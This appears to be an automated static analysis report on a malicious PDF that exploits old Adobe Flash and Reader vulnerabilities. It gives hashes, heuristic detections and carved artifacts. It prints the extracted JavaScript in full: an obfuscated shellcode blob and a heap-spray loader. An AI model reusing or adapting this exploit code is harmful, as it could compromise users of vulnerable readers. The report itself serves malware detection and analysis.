Malicious PDF — malware analysis report

Static analysis result for SHA-256 e8d4eac02f12eed0…

MALICIOUS

PDF

189.8 KB Created: 2010-06-11 11:09:09 +08:00 Authoring application: Writer (via OpenOffice.org 3.0) First seen: 2026-05-10
MD5: 45f8ce0c684bf3c0cbe1a5dc138d9cfa SHA-1: cbac6a9f7c5d0b7810fe36a3655c5eaa2dab89f1 SHA-256: e8d4eac02f12eed015c3dba5a4d8f7803e99048119db09853de3da16c29fcd31
500 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains multiple critical heuristic firings indicating it exploits known vulnerabilities in Adobe Flash Player (CVE-2011-0611, CVE-2009-1862, CVE-2010-3654) embedded within RichMedia/Flash content. The embedded JavaScript stream, which uses `unescape` and `ByteArray` for obfuscation, likely acts as a loader for the exploit payload. The primary attack vector is exploitation for client execution via a vulnerable Flash Player component.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9903

Heuristics 13

  • Adobe Flash Player RichMedia exploit critical CVE likely CVE_2011_0611_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation with an embedded AS3 SWF loader (ByteArray/loadBytes) and shellcode heap-spray staging. This is the static exploit shape associated with CVE-2011-0611 Flash content delivered through Adobe Reader.
  • Adobe Flash/authplay SWF exploit in PDF — CVE-2009-1862 critical CVE likely CVE_2009_1862_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation, an embedded SWF, and PDF-side shellcode heap-spray staging. This matches the 2009 authplay.dll Flash-in-PDF exploit delivery shape even when the SWF bytecode does not expose stable printable Run_Sploit markers.
  • Adobe Reader authplay SWF exploit in PDF — CVE-2010-3654 critical CVE likely CVE_2010_3654_FLASH_RICHMEDIA
    PDF combines RichMedia Flash activation, an ActionScript 3 SWF containing DoABC/SymbolClass code with URLRequest or StagePlayer/ByteArray/loadBytes markers, and PDF-side shellcode heap-spray staging. This is the static delivery shape associated with CVE-2010-3654 Adobe Reader/Acrobat authplay Flash handling.
  • Flash ActionScript-3 exploit loader in PDF critical CVE related PDF_FLASH_AS3_EXPLOIT_LOADER
    An embedded Flash (SWF) object's ActionScript-3 bytecode contains exploit-loader primitives: decompressing an inner SWF into a ByteArray and executing it via LoaderContext.allowLoadBytesCodeExecution, and/or Vector heap/JIT spray groomers. Benign Flash content does not load and execute code from raw bytes — this is a staged Flash exploit delivered through the document.
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var sc = unescape(urpl("%Z0c0c%Z0c0c%Z4919%Z0700%Zcccc%Zcccc%Z48ef%Z0700%Z156f%Z0700%Zcccc%Zcccc%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9033%Z0700%Z9084%Z0700%Z0c0c%Z0c0c%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z1599%Z0700%Z0124%Z0001%Z72f7%Z0700%Z0104%Z0001%Z15bb%Z0700%Z1000%Z0000%Z154d%Z0700%Z15bb%Z0700%Z0300%Z7ffe%Z7fb2%Z0700%Z15bb%Z0700%Z0011%Z0001%Za8ac%Z0700%Z15bb%Z0700%Z0100%Z0001%Za8ac%Z0700%Z72f7%Z …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • RichMedia (Flash) high PDF_RICHMEDIA
    PDF contains /RichMedia (Adobe Flash) which is a historic exploit vector (matched inside decoded stream)
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload (matched inside decoded stream)
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.monotype.comhttp://www.monotype.com/html/type/license.html In extracted file (font_01_sfnt_off000244b1.bin)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlNOTIFICATIONIn extracted file (font_01_sfnt_off000244b1.bin)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 7

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj-001_000.js pdf-javascript-stream PDF /JS object -1 at offset 0x372 3386 bytes
SHA-256: 2936a4096ca7319fc3e4a9c2fdbb6ab1cf4957e76d5d4f8f3a49f2c22fbe8ac4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function CRTYU()   
{   
	var keyu= "u";
	var a = "\x6D\x65\x64";
	var b = "\x73\x75\x62\x73";
	var c = "\x69\x61";
	var re = /Z/g;
	var sc = "\xff\xcc\x84"
	sc = sc.replace(re,keyu);
    this._strings = new Array;   
}   
  
CRTYU.prototype.append = function(str)   
{   
    this._strings.push(str);   
    return this;   
}   
  
CRTYU.prototype.toString = function()   
{   
    return this._strings.join("");   
}   
  

CRTYU.prototype.length = function()   
{   
    var str = this._strings.join("");   
    return str.length;   
}   

function urpl(sc){
var keyu= "u";
var re = /Z/g;
sc = sc.replace(re,keyu);
return sc;
}

var sc = unescape(urpl("%Z0c0c%Z0c0c%Z4919%Z0700%Zcccc%Zcccc%Z48ef%Z0700%Z156f%Z0700%Zcccc%Zcccc%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9033%Z0700%Z9084%Z0700%Z0c0c%Z0c0c%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z9084%Z0700%Z1599%Z0700%Z0124%Z0001%Z72f7%Z0700%Z0104%Z0001%Z15bb%Z0700%Z1000%Z0000%Z154d%Z0700%Z15bb%Z0700%Z0300%Z7ffe%Z7fb2%Z0700%Z15bb%Z0700%Z0011%Z0001%Za8ac%Z0700%Z15bb%Z0700%Z0100%Z0001%Za8ac%Z0700%Z72f7%Z0700%Z0011%Z0001%Z52e2%Z0700%Z5c54%Z0700%Zffff%Zffff%Z0100%Z0001%Z0000%Z0000%Z0104%Z0001%Z1000%Z0000%Z0040%Z0000%Zd731%Z0700%Z15bb%Z0700%Z905a%Z9054%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zeb5a%Z5815%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z1a8b%Z1889%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zc083%Z8304%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z04c2%Zfb81%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z0c0c%Z0c0c%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zee75%Z05eb%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Ze6e8%Zffff%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z90ff%Z9090%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z9090%Z9090%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Z9090%Z9090%Z154d%Z0700%Za722%Z0700%Z15bb%Z0700%Zffff%Z90ff%Z154d%Z0700%Zd731%Z0700%Z112f%Z0700%Zc8d9%Z74d9%Zf424%Zeeba%Zdee0%Z29dc%Z5fc9%Z37b1%Z5731%Z8314%Z1c01%Z243c%Z4e07%Zdcde%Z59ee%Zdcda%Ze0ee%Zb881%Zd04f%Zdcde%Z6bee%Zd09e%Z9065%Z71c2%Z8865%Z8dd6%Z9565%Z57e2%Zce9a%Zdfa6%Zb61b%Zaa55%Ze3ce%Zef2b%Za927%Z719f%Z25ed%Z07ed%Z5ee1%Ze4ce%Z941c%Z1dd6%Zed25%Z06dd%Z0bae%Ze72f%Z95f1%Z8239%Zbe65%Zdffa%Z8633%Zd055%Z6ba5%Zc080%Z3ded%Zd855%Ze365%Z771b%Z02b7%Zef62%Z6335%Zd81d%Ze084%Z238d%Z1cb9%Zdbe5%Z139b%Z8357%Z7912%Z8e8c%Z9711%Z23da%Z1c99%Z8b21%Z7916%Z9cb4%Ze086%Zdcce%Z1fee%Zd4a9%Z1fbc%Z2889%Za767%Zb626%Z6dee%Z2899%Z1fbe%Zd4a9%Z9711%Z2326%Z1c99%Z8b21%Z6b1e%Zd091%Za765%Z1c26%Z3fe6%Zec5e%Za0b3%Z2b3c%Zb711%Z3426%Z1fa3%Z2321%Z85f8%Zcc24%Z2aba%Z4d71%Ze842%Zaa04%Z7b43%Z03a3%Z17a5%Zdcdc%Z19b9%Zdcde%Z06e9%Zdcdf%Ze2aa%Zdcde"));

var nop = unescape("\x25\x750c0c\x25\x750c0c");
var TMP0 = new CRTYU();
while (nop["\x6c\x65\x6e\x67\x74\x68"] + 20 + 8 < 65536) 
{
  TMP0.append(nop);
  TMP0.append(nop);
  nop = TMP0.toString();
}

spt = nop["\x73\x75\x62\x73\x74\x72\x69\x6E\x67"](0, (0x0c0c-0x24)/2);
spt += sc;
spt += nop;
hack = spt["\x73\x75\x62\x73\x74\x72\x69\x6E\x67"](0, 65536/2);

var TMP = new CRTYU();
while(hack["\x6c\x65\x6e\x67\x74\x68"] < 0x80000) 
{
  TMP.append(hack);
  TMP.append(hack);
  hack = TMP.toString();
}

bullet = hack["\x73\x75\x62\x73\x74\x72\x69\x6E\x67"](0, 0x80000 - (0x1020-0x08) / 2);
var memory = new Array();
for (i=0;i<0x1f0;i++) 
{
  var TMP2 = new CRTYU();
  TMP2.append(bullet);
  TMP2.append("s");
  memory[i] = TMP2.toString();
}
objstm_0015_00.bin pdf-objstm-decoded PDF /ObjStm 15 0 obj (inflated) 912 bytes
SHA-256: cbd11d2ce487f41cb2e696adc35306d2f3d38b7de6eab25b0e0d07f05d693f12
font_00_sfnt_off0001925e.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1925E 85260 bytes
SHA-256: 8d5946787094127a39a56e51b7bd0dc9e2864f4f0f360330af68c09688969a21
font_01_sfnt_off000244b1.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x244B1 32860 bytes
SHA-256: e435da29fd7d7dfdac574fafaf97bb17bd7eef224fbcab2a574ab0c722da6873
font_02_sfnt_off00028e80.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x28E80 31336 bytes
SHA-256: 85a1f294195490f332cb03f1c440ed59b5a59956ccfaea3c1ccfb5bbe710c619
polyglot_child_pdf_off00017bab.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x17BAB 97184 bytes
SHA-256: c02a5f3d4eaf19c00196609828847ad8cf99b74986a313fb70f48f61117cc46e
polyglot_child_pdf_off0002df5e.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x2DF5E 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8

Open this report in the interactive analyzer, or submit your own file for analysis.